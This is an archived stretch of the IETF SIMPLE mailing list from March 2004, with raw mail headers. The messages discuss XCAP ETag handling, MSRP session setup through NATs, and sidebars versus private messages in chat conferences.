	for <simple@ietf.org>; Wed, 3 Mar 2004 03:09:28 +0200 (EET)
Received: from nokia.com ([10.162.253.22]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 03:09:28 +0200
Message-ID: <40452ED0.9090206@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 01:09:28.0370 (UTC) FILETIME=[2D194920:01C400BC]
Content-Transfer-Encoding: 7bit
Subject: [Simple] Etags issue in XCAP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 03:03:12 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Hi,

Currently etags are returned for all elements in the XCAP tree. Although
they may be scoped in an application specific manner, I think we need to
also allow for a case where for a particular element the XCAP server
never returns an etag. This is because there may be elements for which
it doesn't matter what the original content was when adding/deleting.

For example, in the CPCP application usage, the <conference-info>
element contains a <subject> element that describes the current topic of
the conference. There is really no need to care what the original topic
was if a user with appropriate rights wants to change it. So instead of
   having to first GET it, and receive an etag, the user would "blindly"
PUT a <subject> with a new value without using the If-Match precondition.

This would be especially useful for elements that may be relatively
large. Having to GET the content before any changes to it can be made
may result in starvation of a client behind a low speed link. I.e., the
etag that the client finally receives is already invalidated by 
concurrent updates from clients behind faster links.

For example, in the CPCP ACL element, again a client is only interested
in adding or expelling a particular user. It doesn't care what the
original contents of the ACL was. It would be OK just to blindly add or
delete a matching element.

So my proposal is that in addition to defining the scope of returned
etags, an XCAP application usage can also define for which elements no
etags are ever returned. A client that receives a document without the
ETag header field would know that this document (element) allows for
blind modifications.

How does this sound?

Cheers,
Aki



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 20:33:42 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18335
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 20:33:42 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLG5-0001Ix-U2
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 20:33:13 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i231XD9a005009
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 20:33:13 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLG5-0001Ii-Pr
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 20:33:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18134
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 20:33:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLG3-0007XU-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:33:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLET-00077C-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:31:34 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLD3-0006sd-00; Tue, 02 Mar 2004 20:30:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyL1R-0007TG-Fc; Tue, 02 Mar 2004 20:18:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyL1N-0005OW-CI; Tue, 02 Mar 2004 20:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyL0n-0005KD-MY
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:17:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17450
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:17:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyL0l-0005FD-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:17:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKzE-0004qQ-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:15:49 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKxr-0004Jf-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:14:24 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i231Dl0p009277;
	Tue, 2 Mar 2004 19:13:47 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQRHH>; Tue, 2 Mar 2004 19:13:46 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A357@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'Cullen Jennings'" <fluffy@cisco.com>,
        Adam Roach
	 <adam@dynamicsoft.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>
Cc: simple@ietf.org
Subject: RE: [Simple] RE: MSRP & Comedia
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 19:13:45 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Okay, so, the user experience you're promoting
here would lead to a situation in which you open
up your IM client, type in a message for me,
and my desktop hard phone starts ringing. Several
seconds later, I pick up the receiver, my hardphone
sends a "200 OK" response, and... well, nothing
good can come of any result at this point.

If your client supports audio, my voice is suddenly
coming out of your PC speakers. If not, the call
is torn down, your client renders an error to you,
sends me a bye, and I'm sitting there holding a dead
handset.

This is the problem that I've pointed out occasionally
for several years: this "send an INVITE with no body"
approach for setting up sessions causes all kinds
of problems. It was originally added for interwork
with the prehistoric H.323v1 procedures, and not killed
because we observed that it can be used in this clever
3pcc hack -- but it invariably leads to a message that
semantically means the same thing as the dialog
box that I sent earlier.

/a

> -----Original Message-----
> From: Cullen Jennings [mailto:fluffy@cisco.com]
> Sent: Monday, March 01, 2004 8:38
> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
> Cc: simple@ietf.org
> Subject: Re: [Simple] RE: MSRP & Comedia
> 
> 
> 
> It just sends an offer with all three and then the other ends 
> selects. This
> is how SIP is today - you can send an invite with no offer 
> then get the
> offer in the response and put the answer in the ack.
> 
> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> 
> > From a protocol perspective, this sounds reasonable.
> > 
> > I think the key problem is that the first example shifts the
> > decision of what type of communication is requested
> > from the caller to the callee. Without getting into a discussion
> > of whether that is the "right" thing to do, it certainly is
> > going to differ from user expectations.
> > 
> > +----------------------------------------------+
> > | Cullen Jennings <sip:fluffy@cisco.com> wants |
> > | to start a conversation, but I have no idea  |
> > | what kind. Take your best guess:             |
> > |                                              |
> > |    +-------+  +-----------------+  +----+    |
> > |    | Voice |  | Voice and video |  | IM |    |
> > |    +-------+  +-----------------+  +----+    |
> > +----------------------------------------------+
> > 
> > /a
> > 
> >> -----Original Message-----
> >> From: Cullen Jennings [mailto:fluffy@cisco.com]
> >> Sent: Friday, February 27, 2004 0:50
> >> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> >> Cc: simple@ietf.org
> >> Subject: MSRP & Comedia
> >> 
> >> 
> >> 
> >> This is a half baked idea that I am just tossing out as food
> >> for thought
> >> 
> >> Consider a systems where something like the UA that sends the
> >> answer sends
> >> the VISIT. 
> >> 
> >> Consider the cases where A want to set up a MSRP session with B.
> >> 
> >> A is behind a NAT and does not want to use a relay. A sends
> >> an INVITE with
> >> no offer. B sends an offer, gets back an answer and A 
> sends the VISIT.
> >> A -> inv    -> B
> >> A <- offer  <- B
> >> A -> answer -> B
> >> A -> visit  -> B
> >> 
> >> B is behind a NAT. A sends an offer and B sends an answer and
> >> A sends VISIT.
> >> A -> offer  -> B
> >> A <- answer <- B
> >> A <- visit  <- B
> >> 
> >> A and B are behind NATS. A sends INVITE no offer, B knows
> >> relay is needed
> >> and gets one and sends offer.
> >> 
> >> The underlying principal is basically if you don't know what
> >> port you are
> >> going to receive media at (which is the case with a NAT) you
> >> should not be
> >> making any offers and if you make an offer the assumption is
> >> that the other
> >> side and send media (a VISIT) to that and have it work.
> >> 
> >> The fundamental thing I am trying to avoid is two vendors
> >> both saying they
> >> have MSRP compliant systems yet still having them fail to be
> >> able to talk to
> >> each other because they both expect the other one to host.
> >> 
> > 
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> > 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 20:33:48 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18376
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 20:33:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLGe-0007d7-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:33:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLF9-0007Hd-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:32:16 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLDI-0006sd-01; Tue, 02 Mar 2004 20:30:20 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyKxs-0007NH-0U; Tue, 02 Mar 2004 20:14:24 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKxn-0004ub-Tj; Tue, 02 Mar 2004 20:14:19 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKxO-0003Ma-Ru
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:13:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16800
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:13:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKxM-0004JM-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:13:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKuu-0003iv-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:11:21 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKte-0003WF-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:10:02 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2319uZ26057;
	Wed, 3 Mar 2004 03:09:56 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 03:09:43 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2319hZj026915;
	Wed, 3 Mar 2004 03:09:43 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00UV2AbH; Wed, 03 Mar 2004 03:09:20 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2319K709053;
	Wed, 3 Mar 2004 03:09:20 +0200 (EET)
Received: from nokia.com ([10.162.253.22]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 03:09:19 +0200
Message-ID: <404528A7.1010809@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Paul Kyzivat <pkyzivat@cisco.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com> <40442B9F.9090606@nokia.com> <40451C4C.5020800@cisco.com>
In-Reply-To: <40451C4C.5020800@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 01:09:19.0730 (UTC) FILETIME=[27F2ED20:01C400BC]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 02:36:55 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



ext Paul Kyzivat wrote:
<snip />
>> Hmm.. which systems are these? The ones I've used have both private 
>> messages *and* sidebars.
> 
> 
> It seems that in principle the difference between sidebars and private 
> messages is simply one of UI design. A particular client could support 
> one or the other, or both.
> 
> But you also seem to require that the initiator be able to choose which 
> user experience the recipients will have. That turns it into a protocol 
> issue. In general I would consider this a bad idea. But it is largely a 
> human factors issue, and I don't feel qualified to comment on it except 
> from the perspective of personal preference. But it seems that whole 
> discussion hinges on whether there is a valid requirement for giving 
> senders that degree of control over recipients.

You could put it that way, yes. But this is dancing around the issue, 
which is that using sidebars alone to effect two different functions in 
a conference results in unpredicted user experience. Because REFERing 
another user to a sidebar is supposed to do both X and Y, but which one 
depends on the recipient's implementation.

That does not work. That's why IRC for example has a command for 
inviting someone to a sidebar channel

	INVITE user #sidebarchannel

*and* a command for sending a private message in a channel

	PRIVMSG user :This is a private message.

Of course this has UI implications, because these are separate 
functionality. This is the same thing as a MESSAGE having different user 
experience than an INVITE in SIP. A sender of a MESSAGE can certainly 
expect the recipient to behave differently than when it receives an 
INVITE. I thought this was basic protocol design!

Cheers,
Aki



> 
>     Paul
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 20:34:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18467
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 20:34:11 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLGZ-0001Nd-6F
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 20:33:43 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i231Xh3c005299
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 20:33:43 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLGY-0001NO-Vo
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 20:33:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18326
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 20:33:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLGW-0007c9-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:33:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLF1-0007FP-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:32:08 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLDE-0006sd-05; Tue, 02 Mar 2004 20:30:16 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyKyY-0007O9-29; Tue, 02 Mar 2004 20:15:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKyX-00056I-2W; Tue, 02 Mar 2004 20:15:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKxr-0004xA-Qm
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:14:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16945
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:14:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKxp-0004Tk-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:14:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKva-0003t6-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:12:03 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKtm-0003Xe-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:10:10 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231AAZ26227
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:10:10 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 03:09:58 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2319wIe028656
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:09:58 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00P11Yrc; Wed, 03 Mar 2004 03:09:29 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2319S709109
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:09:28 +0200 (EET)
Received: from nokia.com ([10.162.253.22]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 03:09:28 +0200
Message-ID: <40452ED0.9090206@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 01:09:28.0370 (UTC) FILETIME=[2D194920:01C400BC]
Content-Transfer-Encoding: 7bit
Subject: [Simple] Etags issue in XCAP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 03:03:12 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hi,

Currently etags are returned for all elements in the XCAP tree. Although
they may be scoped in an application specific manner, I think we need to
also allow for a case where for a particular element the XCAP server
never returns an etag. This is because there may be elements for which
it doesn't matter what the original content was when adding/deleting.

For example, in the CPCP application usage, the <conference-info>
element contains a <subject> element that describes the current topic of
the conference. There is really no need to care what the original topic
was if a user with appropriate rights wants to change it. So instead of
   having to first GET it, and receive an etag, the user would "blindly"
PUT a <subject> with a new value without using the If-Match precondition.

This would be especially useful for elements that may be relatively
large. Having to GET the content before any changes to it can be made
may result in starvation of a client behind a low speed link. I.e., the
etag that the client finally receives is already invalidated by 
concurrent updates from clients behind faster links.

For example, in the CPCP ACL element, again a client is only interested
in adding or expelling a particular user. It doesn't care what the
original contents of the ACL was. It would be OK just to blindly add or
delete a matching element.

So my proposal is that in addition to defining the scope of returned
etags, an XCAP application usage can also define for which elements no
etags are ever returned. A client that receives a document without the
ETag header field would know that this document (element) allows for
blind modifications.

How does this sound?

Cheers,
Aki



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar  2 20:34:19 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18484
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 20:34:19 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLGh-0001OK-7W
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 20:33:51 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i231Xpmc005342
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 20:33:51 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLGh-0001O5-3f
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 20:33:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18390
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 20:33:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLGe-0007dC-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:33:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLFA-0007Hp-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:32:17 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLDI-0006sd-01; Tue, 02 Mar 2004 20:30:20 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyKxs-0007NH-0U; Tue, 02 Mar 2004 20:14:24 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKxn-0004ub-Tj; Tue, 02 Mar 2004 20:14:19 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKxO-0003Ma-Ru
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:13:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16800
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:13:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKxM-0004JM-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:13:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKuu-0003iv-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:11:21 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKte-0003WF-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:10:02 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2319uZ26057;
	Wed, 3 Mar 2004 03:09:56 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 03:09:43 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2319hZj026915;
	Wed, 3 Mar 2004 03:09:43 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00UV2AbH; Wed, 03 Mar 2004 03:09:20 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2319K709053;
	Wed, 3 Mar 2004 03:09:20 +0200 (EET)
Received: from nokia.com ([10.162.253.22]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 03:09:19 +0200
Message-ID: <404528A7.1010809@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Paul Kyzivat <pkyzivat@cisco.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
